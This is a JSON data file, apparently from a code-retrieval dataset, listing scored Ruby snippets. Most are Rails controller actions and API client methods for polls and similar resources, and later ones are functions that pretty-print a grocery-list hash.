"text": "def show\n @info_polen = InfoPolen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @info_polen }\n end\n end",
"title": ""
},
{
"docid": "7089aaecb5bef49d89312bf5e2502c76",
"score": "0.56364274",
"text": "def index\n\t\t@participants = Participant.all\n\n\t\trender json: @participants\n\tend",
"title": ""
},
{
"docid": "0d380ad30a729b4463f53e9601914068",
"score": "0.56323016",
"text": "def get_poll_templates_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MediaPollsApi.get_poll_templates ...\"\n end\n # resource path\n local_var_path = \"/media/polls/templates\"\n\n # query parameters\n query_params = {}\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceTemplateResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MediaPollsApi#get_poll_templates\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "9177b79b3e7a57e882a253d366f45f38",
"score": "0.5631148",
"text": "def index\n render json: meeting.all\n end",
"title": ""
},
{
"docid": "3ca604c092fdc8952e08fa129e639cbe",
"score": "0.5630646",
"text": "def index\n @courses = Course.all\n render json: @courses, status: :ok\n end",
"title": ""
},
{
"docid": "10e4b458c0e1b883edb572d173183bff",
"score": "0.56122524",
"text": "def create\n @poll = current_user.polls.new(poll_params)\n\n respond_to do |format|\n if @poll.save\n format.html { redirect_to polls_url, notice: 'Poll was successfully created.' }\n format.json { render :show, status: :created, location: @poll }\n else\n format.html { render :new }\n format.json { render json: @poll.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "43ba52d2aa1e166743ade2c6aa48ae35",
"score": "0.56092423",
"text": "def index\n # @playlists = Playlist.all\n # @playlists = @playlists.page(params[:page] || 1)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: { playlists: @playlists } }\n end\n end",
"title": ""
},
{
"docid": "776d88a1a25d29556c4ae3b08251200c",
"score": "0.5600266",
"text": "def public\n @polls = Poll.opened.order(id: :desc)\n end",
"title": ""
},
{
"docid": "37624c77cb111e2ea32e4c5d87ec9104",
"score": "0.5599467",
"text": "def create_single_poll(polls__question__,opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n :polls__question__,\n :polls__description__,\n \n ]\n\n # verify existence of params\n raise \"polls__question__ is required\" if polls__question__.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :polls__question__ => polls__question__\n )\n\n # resource path\n path = path_replace(\"/v1/polls\",\n )\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:post, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:post, path, query_params, form_params, headers)\n page_params_store(:post, path)\n response\n \n end",
"title": ""
},
{
"docid": "5b0a4ff39f43f9195c4e97be9ef68bbd",
"score": "0.55982447",
"text": "def show\n @politicalcommittee = Politicalcommittee.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @politicalcommittee }\n end\n end",
"title": ""
},
{
"docid": "407757ca497844565b03b28a9dbfeec4",
"score": "0.5596165",
"text": "def index\n @poll_answers = PollAnswer.all\n end",
"title": ""
},
{
"docid": "d3abe67aec2c8edf14ea60d4c810c36e",
"score": "0.55892557",
"text": "def render_politics\n render json: PoliticsSerializer.new(@politics_data).to_serialized_json\n end",
"title": ""
},
{
"docid": "2705177274ba59975438976de480fb40",
"score": "0.5583794",
"text": "def index\n @shop_platinum_offers = Shop::PlatinumOffer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shop_platinum_offers }\n end\n end",
"title": ""
},
{
"docid": "59d0fbcb98c1978f1f7c4ae081b50c0d",
"score": "0.55825347",
"text": "def index\n paginate json: @user.playlists.all\n end",
"title": ""
},
{
"docid": "b55e5170e1fa085a5940400d0168d65f",
"score": "0.558251",
"text": "def respond\n\t\t@poll = Poll.find(params[:id])\n\t\t@expert_user = @poll.expert_user\n\t\t@participants = @poll.participants\n\t\t@questions = @poll.questions\n\tend",
"title": ""
},
{
"docid": "4d3e536fa5b371ed7164e1d4a9a4c3d2",
"score": "0.55720377",
"text": "def index\n @lugars = Lugar.all\n\n render json: @lugars\n end",
"title": ""
},
{
"docid": "d8de62f39ede5f5519b02bc958c6099f",
"score": "0.5564834",
"text": "def index\n @pollanswers = Pollanswer.all\n end",
"title": ""
},
{
"docid": "1819acbf46503d8b231657cccfd94c10",
"score": "0.556421",
"text": "def index\n periods = current_user.school.periods.all\n\n render json: periods\n end",
"title": ""
},
{
"docid": "3ae52c6cc06150d64530ced74bb05f2a",
"score": "0.55586743",
"text": "def index\n render json: Loan.all\n end",
"title": ""
},
{
"docid": "63750864cfd26b070843f393dd259ce7",
"score": "0.55572444",
"text": "def show\n @poll = Poll.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @poll }\n end\n end",
"title": ""
},
{
"docid": "688e633a6b97b8030ee2748163a90321",
"score": "0.55466956",
"text": "def index\n @litters = Litter.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @litters }\n end\n end",
"title": ""
},
{
"docid": "afba67d477f79b06105ae2f72ac2528b",
"score": "0.5540067",
"text": "def index\n @lectures = Lecture.where(public: true)\n end",
"title": ""
},
{
"docid": "87bc32350db8f0c48eb9cff58eda386f",
"score": "0.55353564",
"text": "def index\n @appeals = @conference.appeals\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @appeals }\n end\n end",
"title": ""
},
{
"docid": "70d0af0333897dedf5c177c7e03b188c",
"score": "0.55301535",
"text": "def index\n @pots = Pot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pots }\n end\n end",
"title": ""
},
{
"docid": "fb99fa0be5a82bcc5c0035b6d1a6e4de",
"score": "0.55225295",
"text": "def index\n @prompts = Prompt.all\n\n data = @prompts.map do |thing|\n thing.serialized_data\n end\n\n render json: data\n\n end",
"title": ""
},
{
"docid": "77989b6095eb558f7af86e9afdb5f2db",
"score": "0.55162305",
"text": "def index\n @loves = Love.all\n render json: @loves\n end",
"title": ""
},
{
"docid": "adc01388024d1d64aae61ef25d1d9ba2",
"score": "0.550976",
"text": "def index\n @plugs = Plug.all\n authorize! :read, @plug\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @plugs }\n format.xml # { render json: @plugs }\n end\n end",
"title": ""
},
{
"docid": "555fc27399f7aeb70e9c1a089087b33c",
"score": "0.55039877",
"text": "def show\n @potluck = Potluck.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @potluck }\n end\n end",
"title": ""
},
{
"docid": "769a6e0ea07292cb5714e6a90826d9da",
"score": "0.54967344",
"text": "def list\n get('/')\n end",
"title": ""
},
{
"docid": "6fbebc207c48b2392c7c3a51f167c271",
"score": "0.54960227",
"text": "def index\n @offers = Offer.all\n\n render json: @offers\n end",
"title": ""
},
{
"docid": "8599e3fb26ccd3ea88562f312d03703a",
"score": "0.5492627",
"text": "def index\n @rooms = Room.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rooms }\n end\n end",
"title": ""
},
{
"docid": "8ad06f5616357c9efd4a5488186ea3ca",
"score": "0.54840237",
"text": "def get_single_poll_choice(poll_id,id,opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n \n ]\n\n # verify existence of params\n raise \"poll_id is required\" if poll_id.nil?\n raise \"id is required\" if id.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :poll_id => poll_id,\n :id => id\n )\n\n # resource path\n path = path_replace(\"/v1/polls/{poll_id}/poll_choices/{id}\",\n :poll_id => poll_id,\n :id => id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:get, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:get, path, query_params, form_params, headers)\n page_params_store(:get, path)\n response\n \n end",
"title": ""
},
{
"docid": "a838fe5d49d472323c17c5c6d99876d9",
"score": "0.5471757",
"text": "def index\n\t\t@courses = Course.all\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render json: @courses }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "afb041f4efacc13ec928c04bf8a83d24",
"score": "0.5465176",
"text": "def create\n @pol = Pol.new(pol_params)\n\n respond_to do |format|\n if @pol.save\n format.json { render :show, status: :created, location: @pol }\n else\n format.json { render json: @pol.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ec0494e3ded86933e2c9dbb9c3aec62d",
"score": "0.5450933",
"text": "def set_poll\n @poll = current_user.created_polls.find(params[:id])\n end",
"title": ""
},
{
"docid": "cbb88ab3005d7007b06681fbd408cbd4",
"score": "0.54452574",
"text": "def list\n @collections = Admin::Collection.names\n\n render json: { collections: @collections }\n end",
"title": ""
},
{
"docid": "06f55bbce2d5d1a61ed9d3f1349e581c",
"score": "0.5444806",
"text": "def list\n @videos = Video.all\n\n respond_to do |format|\n format.html # list.html.erb\n format.json { render json: @videos }\n end\n end",
"title": ""
},
{
"docid": "77fea1a367101c572e25a846786deb61",
"score": "0.5439117",
"text": "def index\n @police_stations = PoliceStation.all\n end",
"title": ""
},
{
"docid": "3a752db9509ebbb608a5fb51e7e5582a",
"score": "0.5438742",
"text": "def index\n #@lessons = Lesson.all\n @lessons = @course.lessons.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @lessons }\n end\n end",
"title": ""
},
{
"docid": "017e3b79f2631152412d6e8f2f88c2b9",
"score": "0.5434669",
"text": "def index\n @tutorials = Tutorial.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tutorials }\n end\n end",
"title": ""
},
{
"docid": "f463047d22c48b7a773b861aaa3a999f",
"score": "0.5431154",
"text": "def set_pol\n @pol = Pol.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bcb3a34dbb219bdebf09aa267691189",
"score": "0.54284257",
"text": "def playlists(args={})\n query = \"/?client_id=#{@client_id}&format=#{format.to_s}&#{format_parameters(args)}\"\n path = __method__.to_s\n http_get(path, query)\n end",
"title": ""
},
{
"docid": "68609b75132724e6c7b0da738911bb5f",
"score": "0.54283553",
"text": "def index\n @leagues = League.all\n render json: @leagues, status: :ok\n end",
"title": ""
},
{
"docid": "d794e32df52ebfb6d54f7e914ff11bad",
"score": "0.54278713",
"text": "def show\n @papel = Papel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @papel }\n end\n end",
"title": ""
},
{
"docid": "3e0d87d89b4679a80ce577984b0549b7",
"score": "0.5426511",
"text": "def index\n @picks = PickName.order(:id).all\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render json: @picks }\n end\n end",
"title": ""
},
{
"docid": "cd1db16e2fb93b432c3d2f7ab29d8d30",
"score": "0.54198575",
"text": "def index\n @speakers = active_conference.speakers.order(:name)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: { speakers: json_attr(@speakers) }, :except => exceptions }\n format.js { render json: { speakers: json_attr(@speakers) }, :except => exceptions, :callback => params[:callback] }\n end\n end",
"title": ""
},
{
"docid": "a14cb0551e1a34b593199e3ce6455807",
"score": "0.5417544",
"text": "def show\n @quick_poll_option = QuickPollOption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quick_poll_option }\n end\n end",
"title": ""
},
{
"docid": "6f30878a4fccef00a6c4d28e4f9762c6",
"score": "0.5415555",
"text": "def get_periods\n @periods = current_user.periods.all.order(created_at: :desc)\n render json: @periods\n end",
"title": ""
},
{
"docid": "24401e8995bcc317305bca9c78ef2b1e",
"score": "0.5415194",
"text": "def index\n @tutorials = Tutorial.all\n\n respond_to do |format|\n format.html\n format.json do\n render json: @tutorials\n end\n end\nend",
"title": ""
},
{
"docid": "f5010b4a4d2a3d10d2a46d4d90e0673d",
"score": "0.54127145",
"text": "def show\n render json: @wellist\n end",
"title": ""
},
{
"docid": "c4c57aaf3c0b593dd72620397f6b97d8",
"score": "0.5411582",
"text": "def show\n render json: @playlist\n end",
"title": ""
}
] |
daaca96ddf0665a48157c5b080a184d4 | Method to print a list and make it look pretty print_grocery_list input: hash output: nicely formated string with hash contents steps: Run through EACH hash key/value pair and print a neatly formated string | [
{
"docid": "965f9d992f19dea60b57e835bc1c56bb",
"score": "0.0",
"text": "def print_grocery_list(grocery_list)\n puts \"_____GROCERY LIST______\"\n grocery_list.each_with_index do |item_quantity, index|\n puts \"#{index}. #{grocery_list.keys[index]}, qty: #{grocery_list.values[index]}\"\n end\n puts \"_______________________\"\n\nend",
"title": ""
}
] | [
{
"docid": "02e1c968d9a7da8cb16b319f471a9d13",
"score": "0.8326533",
"text": "def print_list(full_grocery_hash)\n# steps: iterate through the list(hash) and print so it looks nice\n# output: the list looking prettier\n\tfull_grocery_hash.each {|key, value| puts \"#{key}\"+\":\"+\" #{value}\"}\nend",
"title": ""
},
{
"docid": "865121426e21236dc10b6ffe71dba1dc",
"score": "0.8262767",
"text": "def pretty_list\n print \"\\n\"\n\t$grocery_list.each { |k, v| puts \"#{k}: #{v}\" }\n print \"\\n\"\nend",
"title": ""
},
{
"docid": "ee79d4181c932cfe83b9d2c858682fb6",
"score": "0.8198213",
"text": "def print_pretty_list(list)\n# input: list\n list.each do |grocery_item, quantity|\n puts \"#{grocery_item} ==> #{quantity}\"\n end\n# steps: iterate over hash and print out the key/value pairs in a pretty way\n# output: pretty list\nend",
"title": ""
},
{
"docid": "a657922b736e4393bdcc4015208fd666",
"score": "0.8187672",
"text": "def pretty_print_list(list)\n puts \"Grocery List:\"\n # steps: loop through keys and values of the list print.\n list.each do |key, value|\n puts \"#{key}: #{value}\"\n end\nend",
"title": ""
},
{
"docid": "a980054b41a43f2f766b9486ed8d831f",
"score": "0.8031021",
"text": "def print_list(full_grocery_hash)\n# steps: \n # iterate through the hash and print formatted key value pairs, i.e. {key}: {value}\n full_grocery_hash.each { |key,value| puts '#{key}'+':'+' #{value}'}\n\n \t \n# output: string (representing the list)\nend",
"title": ""
},
{
"docid": "ad71ee081e79a04d01a4ef473dc6b4e3",
"score": "0.8019595",
"text": "def pretty_list(grocery_items)\n# input: hash of items\n# steps:\n# create title \"Grocery list\"\np \"Grocery List:\"\n# print out items inside the hash\n# output: list of grocery items\ngrocery_items.each {|item, quantity| p \"#{item}: #{quantity}\" }\nend",
"title": ""
},
{
"docid": "1c4cd38b5f6a20b5c11792d6256ca158",
"score": "0.79699427",
"text": "def print_list_pretty (grocery_list)\n\tgrocery_list.each do |item, value|\n\t\tputs \"#{item} : #{value}\"\n\tend\nend",
"title": ""
},
{
"docid": "bd8f318dd0b6ed35421ed47959e73c2e",
"score": "0.79194134",
"text": "def print_pretty(list)\n# steps: print it formatted\n list.each do |food, quantity|\n puts \"You need #{quantity} of #{food}.\"\n end\n# output: printed formatted hash\n\tlist\nend",
"title": ""
},
{
"docid": "0c1ae2395aeaa35996bda99b10290807",
"score": "0.7843637",
"text": "def pretty(hash)\r\n\tgrocery_list\r\nend",
"title": ""
},
{
"docid": "0686c98f8748eb0491501151e061892a",
"score": "0.783823",
"text": "def pretty_print(grocery_list)\n\tputs '*~'*20+'*'\n\tputs \"Here's your PRETTY grocery list:\"\n\tgrocery_list.each { |item, qty| puts \"- #{item}: #{qty}\" }\nend",
"title": ""
},
{
"docid": "9e3bf75416f57f6ce6a8c9874c5378aa",
"score": "0.7836649",
"text": "def pretty_list\n puts \"Your grocery list:\"\n @grocery_hash.each do |item, quant|\n puts \"- #{item}: #{quant}\"\n end\nend",
"title": ""
},
{
"docid": "c632749f57d75d354825a93148c68b00",
"score": "0.7826601",
"text": "def pretty_list(list)\r\n\t$groceries_list.each{|key, value| puts \"Buy #{key}, for quantity #{value}\"}\r\nend",
"title": ""
},
{
"docid": "da3b2feb24dc210f50001357fb257eb4",
"score": "0.78091437",
"text": "def pretty_list(hash)\r\n puts \"Grocery List:\"\r\n puts \" \"\r\n hash.each do |item_name, quantity|\r\n puts \"#{item_name}: #{quantity}\"\r\n end\r\nend",
"title": ""
},
{
"docid": "3cb48b1c8a6604927f40db911f9e1762",
"score": "0.7769595",
"text": "def pretty_list(hash)\r\n# input: hash \r\n# steps: \r\n\t# Iterate through hash and print string for each key and it's value \r\n\thash.each { |item, quantity|\r\n\t\tputs \"#{item}: #{quantity}\"\r\n\t}\r\n# output: String with nicely formatted hash data\r\nend",
"title": ""
},
{
"docid": "34c7413355e381ba0bdba24d1a71702d",
"score": "0.7766422",
"text": "def print_list_pretty (grocery_list)\n grocery_list.each do |item, value|\n puts \"#{item} : #{value}\"\n end\nend",
"title": ""
},
{
"docid": "00fe4eb85156c60f8a4b5a7fe6c691af",
"score": "0.7735565",
"text": "def pretty_list(grocery_list)\n puts \"**************\"\n grocery_list.each do |item, qty|\n puts \"#{item} qty:#{qty}\"\n end\n puts \"**************\"\nend",
"title": ""
},
{
"docid": "9565139c16f8ff6438363abc59bd0d6c",
"score": "0.76522243",
"text": "def print_list(list_hash)\n\tputs \"*Grocery List*\"\n\tlist_hash.each do |item, qty|\n\t\tputs \"#{item}: #{qty}\"\n\tend\n\tputs \"--------------------\"\nend",
"title": ""
},
{
"docid": "d7d382dd6f1ccff84939ee612d0c7ed6",
"score": "0.76333255",
"text": "def print_list(grocery_list)\n puts \"*\" * 20\n puts \"****GROCERY LIST****\"\n\tgrocery_list.each do |key, value|\n\t\tputs \"#{key}: #{value}\"\n\tend\n\tputs \"*\" * 20\nend",
"title": ""
},
{
"docid": "1b63d2952ead9b72f3e5d9ab0473a493",
"score": "0.7629036",
"text": "def nice_list(list)\n\tputs \"Grocery list\"\n\tputs \"_\" * 20\n\tlist.each do |key, value|\n\t\tputs \"#{key}: #{value}\"\n\tend\nend",
"title": ""
},
{
"docid": "f23d23c53e852a2ecbaa323a69e2faa3",
"score": "0.76093084",
"text": "def print_list(grocerylist_hash)\n\t\tputs \"Here is your grocery list:\"\n\t\tgrocerylist_hash.each do |item, value|\n\t\t\tputs \"#{item} = #{value}\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "19b3d102823748d438e442ca3b7befaa",
"score": "0.7599551",
"text": "def print_list(list_hash)\n\t\n\tputs \"Grocery List:\"\n\tputs \"\"\n\tlist_hash.each_pair do |key, value|\n\n\tputs \"#{key}: #{value}\"\n\tputs \"\"\n\n\tend\n\nend",
"title": ""
},
{
"docid": "19b3d102823748d438e442ca3b7befaa",
"score": "0.7599551",
"text": "def print_list(list_hash)\n\t\n\tputs \"Grocery List:\"\n\tputs \"\"\n\tlist_hash.each_pair do |key, value|\n\n\tputs \"#{key}: #{value}\"\n\tputs \"\"\n\n\tend\n\nend",
"title": ""
},
{
"docid": "b62a1036dcc0409e4d89652853530525",
"score": "0.75950325",
"text": "def pretty_list(grocery_list)\n\tputs \"Here is your grocery list:\"\n\tgrocery_list.each do |item, quantity|\n\t\tputs \"#{item}-#{quantity}\"\n\tend\n\tputs \"Happy Shopping!\"\nend",
"title": ""
},
{
"docid": "b03914c80430b5d368888054d9021e08",
"score": "0.7584181",
"text": "def pretty_list(list)\r\n \r\n # input: the list hash, entered as a parameter already\r\n # steps:\r\n puts \"Here is the final, updated list:\"\r\n list.each do |item, quantity|\r\n puts \"#{item}: #{quantity}\"\r\n end\r\n\r\nend",
"title": ""
},
{
"docid": "45c6bb547c9b274f8f1a84e882413352",
"score": "0.757233",
"text": "def pretty_list(list)\r\n puts \"~~~Grocery List~~~\"\r\n list.each{ |item, quantity| puts \"#{item}: #{quantity}\" }\r\n list\r\nend",
"title": ""
},
{
"docid": "8b429f14b6202ac0348071061628c23b",
"score": "0.75437444",
"text": "def print_list\n\t$grocery_list.each do |key, value|\n\t\tputs \"- #{key}: #{value}\"\n\tend\n\tputs\nend",
"title": ""
},
{
"docid": "20c46c44798e6f6084e5e714e0fb81cf",
"score": "0.7516232",
"text": "def print_list(grocery_list)\n\tputs \"*************************\"\n\tputs \"Grocery List\"\n\tgrocery_list.each do |key, value|\n\tputs \"#{key} #{value}\"\n\tend\n\tp \"*************************\"\n\tend",
"title": ""
},
{
"docid": "1309bc1bfdd741e031d272010c3b5848",
"score": "0.7504409",
"text": "def pretty_list(grocery_hash = {})\n puts \":)\"\n puts \"Grocery list:\"\n grocery_hash.each do |food, quantity| puts \"#{food}: #{quantity}\"\n end\nputs \"\"\nend",
"title": ""
},
{
"docid": "8c120c31ae14a0ec7b281543f75981b8",
"score": "0.75016576",
"text": "def print_list(g_list)\n\t# print list title\n\tputs \"\\n** Grocery List **\"\n\tputs \"\"\n\t# traverse the hash and print each key-value pair\n\tg_list.each do |item, qty|\n\t\t# output: print each key-value pair\n \t\tputs \"#{item}: #{qty}\" \n \tend\nend",
"title": ""
},
{
"docid": "d68211c84b761aafcf435a80b62ddfcf",
"score": "0.74993163",
"text": "def print_grocery_list(hash)\n\tputs \":::::::::::::\"\n\tputs \"Current grocery list:\"\n\thash.each do |item, qty|\n\t\tputs \"#{item}: #{qty}\"\n\t\tputs \":::::::::::::\"\n\tend\nend",
"title": ""
},
{
"docid": "b70eeb5839b2da7f374737f99519f36e",
"score": "0.7496815",
"text": "def pretty_list(list)\n list.each do |grocery_item, qty|\n puts \"#{grocery_item}, quantity: #{qty}\"\n end\nend",
"title": ""
},
{
"docid": "2d4ecb7f4138843ba229dd856e8776bc",
"score": "0.7488704",
"text": "def print_list(grocery_list_hash)\n puts \"Behold the wonderful grocery list!\"\n puts \"----------------------------------\"\n grocery_list_hash.each { |item, qty|\n puts \"#{item} : #{qty}\"\n }\nend",
"title": ""
},
{
"docid": "333f6c80bfa3bbf640d9ba0b437adbda",
"score": "0.74754745",
"text": "def print_list(hash_list)\n puts \"Here is your grocery list: \"\n hash_list.each do |item, integer|\n puts \"-#{integer} #{item}\"\n end\nend",
"title": ""
},
{
"docid": "333f6c80bfa3bbf640d9ba0b437adbda",
"score": "0.74754745",
"text": "def print_list(hash_list)\n puts \"Here is your grocery list: \"\n hash_list.each do |item, integer|\n puts \"-#{integer} #{item}\"\n end\nend",
"title": ""
},
{
"docid": "a811d34998988e1cba318ac27239638f",
"score": "0.74670357",
"text": "def print_hash(list)\n\tputs \"Get this at the grocery\"\n\tlist.each do |item, qty|\n\t\tputs \"#{item}: #{qty}\"\n\tend\nend",
"title": ""
},
{
"docid": "61763583b6552118d0c848c8a8057c32",
"score": "0.74142903",
"text": "def look_pretty(hash)\n puts \"grocery list\"\n hash.each do |key,value|\n puts \"#{key} : #{value}\"\n end\nend",
"title": ""
},
{
"docid": "d30a42b119d827ab6e1652871e38ea45",
"score": "0.741257",
"text": "def pretty_list()\n list_string = $grocery_list.to_s\n p list_string\nend",
"title": ""
},
{
"docid": "ee410bc9880756ffeee3d5f5063de7bc",
"score": "0.7410072",
"text": "def pretty_list(grocery_list)\n grocery_list.each do |item,quantity|\n puts \"#{item}: #{quantity}\"\n end\nend",
"title": ""
},
{
"docid": "2b49a741b2eb221804eac61ab266d5ee",
"score": "0.73867625",
"text": "def pretty_list(list)\n puts \"Grocery List\"\n list.each do |item, quantity|\n puts \"#{item}: #{quantity}\"\n end\n list\nend",
"title": ""
},
{
"docid": "eb11cd55bc484f7c422ea891f0b2f18a",
"score": "0.7371365",
"text": "def pretty_print(our_list)\n our_list.each do |item, quantity|\n puts \"Our grocery list says we need to get #{quantity} of the #{item}.\"\n end\nend",
"title": ""
},
{
"docid": "104bbb8fdf3adf96a16de8a064360acd",
"score": "0.73564976",
"text": "def list_printer(existing_list)\n\tputs \"\\n \\n Total Grocery List\\n \"\n\texisting_list.each {|key,value| puts \"#{value.to_s} #{key} \\n\"}\n\tputs \"\\n \\n\"\n\texisting_list\nend",
"title": ""
},
{
"docid": "83cb9f778e4b635705d71a573627e304",
"score": "0.7347146",
"text": "def prettify_item_from_list(grocery_list)\n grocery_list.each {|key,value| puts \"#{key.capitalize} - #{value}\" }\nend",
"title": ""
},
{
"docid": "83cb9f778e4b635705d71a573627e304",
"score": "0.7347146",
"text": "def prettify_item_from_list(grocery_list)\n grocery_list.each {|key,value| puts \"#{key.capitalize} - #{value}\" }\nend",
"title": ""
},
{
"docid": "bd408a728b1c4602441b5cb0e6f1df29",
"score": "0.7335778",
"text": "def print_list\n\t$grocery_list.each do |k,v|\n\t\tp \"We need #{v} #{k}\"\n\tend\nend",
"title": ""
},
{
"docid": "deddf06e656696ca0d52557c4c760ee2",
"score": "0.73313403",
"text": "def print_list(list)\n puts \"Grocery List\"\n list.each {|key, value| puts \"#{key}: qty-#{value}\"}\nend",
"title": ""
},
{
"docid": "0d88e838ac67f361170fb6a029f1968c",
"score": "0.7317002",
"text": "def print_list(grocery_hash)\n puts \"This is your grocery list:\"\n grocery_hash.each do |g_item, value|\n puts \"#{g_item} : #{value}\"\n end\nend",
"title": ""
},
{
"docid": "ab3c3c3308684d50c9874b39ba241776",
"score": "0.73036367",
"text": "def print_list(hash_list)\n puts \"Grocery List\".center(27)\n hash_list.each do |key, value|\n puts \"#{key.capitalize.ljust(10)} ........... #{value.to_s.rjust(5)}\"\n end\nend",
"title": ""
},
{
"docid": "d870a84df339629355690308d2995a1a",
"score": "0.73012495",
"text": "def pretty_list(grocery_list)\r\n\tputs \"Here is your grocery list:\"\r\n\tgrocery_list.each do |item, quantity|\r\n\t\tputs \"#{item}-#{quantity}\"\r\n\tend\r\n\tputs \"Happy Shopping!\"\r\nend",
"title": ""
},
{
"docid": "bd03c3322037a2ca64cab77ad544291d",
"score": "0.7273179",
"text": "def look_pretty(list)\n puts \"Here is your grocery list:\"\n list.each { |item, quantity| puts \"#{item}: #{quantity}\" }\nend",
"title": ""
},
{
"docid": "68389609f54b152b64e7c53fe08ede43",
"score": "0.72701186",
"text": "def pretty_list(list)\r\n puts \"This is your grocery list:\"\r\n list.each do |item, quantity|\r\n puts \"#{quantity} #{item}\"\r\n end\r\nend",
"title": ""
},
{
"docid": "032b39d1e292cc34ac283087c7fbf5ff",
"score": "0.7267324",
"text": "def print_list()\n $grocery_list.each do |key, value|\n puts \"- #{key} : #{value}\"\n end\n puts\nend",
"title": ""
},
{
"docid": "67ed8947fc5e4fb83f8218660e2af912",
"score": "0.72570264",
"text": "def pretty_list(list)\r\n\tlist.each do |key, value|\r\n\t\tp \"#{key} #{value}\"\r\n\tend\r\n\t\r\nend",
"title": ""
},
{
"docid": "f103cf9805083ed7e9422875e7ac7bf5",
"score": "0.7240563",
"text": "def print_list(hash)\n\tputs \"GROCERY LIST\"\n\thash.each do |item, quantity|\n\t\tputs \"#{item}: #{quantity}\"\n\tend\nend",
"title": ""
},
{
"docid": "0e305c8045ca11487727727576ed75b2",
"score": "0.7219246",
"text": "def print_list(hash)\n puts \"These are the items on your grocery list:\"\n hash.each do |item, number|\n puts \"#{item}, qty: #{number}\"\n end\n #puts \"--------------\"\nend",
"title": ""
},
{
"docid": "a4e36b1c810980bc9bc99a27c130cbff",
"score": "0.7208779",
"text": "def prints_grocery_list(list)\n\tputs \"-----\"\n\tlist.each do |item|\n\t\tputs \"* #{item}\"\n\t\t\n\tend\nend",
"title": ""
},
{
"docid": "7ebc49e49956cc7ce9c6b302dbe28e7d",
"score": "0.71908885",
"text": "def print_list(hash)\n puts \"Grocery List:\"\n hash.each do |item, quantity|\n puts \"#{item} - #{quantity}\"\n end\nend",
"title": ""
},
{
"docid": "7ebc49e49956cc7ce9c6b302dbe28e7d",
"score": "0.71908885",
"text": "def print_list(hash)\n puts \"Grocery List:\"\n hash.each do |item, quantity|\n puts \"#{item} - #{quantity}\"\n end\nend",
"title": ""
},
{
"docid": "e0cc71f26be00cc614c301c66a9c46dd",
"score": "0.71786165",
"text": "def print_list(list) # input: Hash\r\n list.each{|item, qty| puts \"#{item}, qty: #{qty}\"} \r\n puts \"\"\r\n# steps: Iterate through hash adding labels and provide formatting\r\n# since puts returns nil output = nil\r\nend",
"title": ""
},
{
"docid": "24addd5efde7ca95eb830acf3c994240",
"score": "0.71722394",
"text": "def print_list(list)\n list_hash = list\n puts \"This is our grocery list: \"\n list_hash.each do |item_key, quant_value|\n puts \"#{item_key}: #{quant_value}\"\n end\nend",
"title": ""
},
{
"docid": "8821b7c6091bb3b2bf52f02584ea1fde",
"score": "0.7168697",
"text": "def print_list(grocery_hash)\n puts \"Here is your grocery list:\"\n grocery_hash.each {|item, quantity| puts \"#{item}: #{quantity}\"}\nend",
"title": ""
},
{
"docid": "e1d1dccb71f210730b4ff05bb30ce21d",
"score": "0.713129",
"text": "def print_list\n $grocery_list.each do |k,v|\n p \"We need #{v} #{k} this week.\"\n end\n end",
"title": ""
},
{
"docid": "d8a33fbef71853b1d09988d885e1536a",
"score": "0.7128298",
"text": "def print_list( grocery_hash)\n puts \"Grocery list:\"\n grocery_hash.each do |item,qty|\n puts \"#{item} --> #{qty}\"\n end\nend",
"title": ""
},
{
"docid": "5910a913a63ee6cb63002c11aff694da",
"score": "0.7119253",
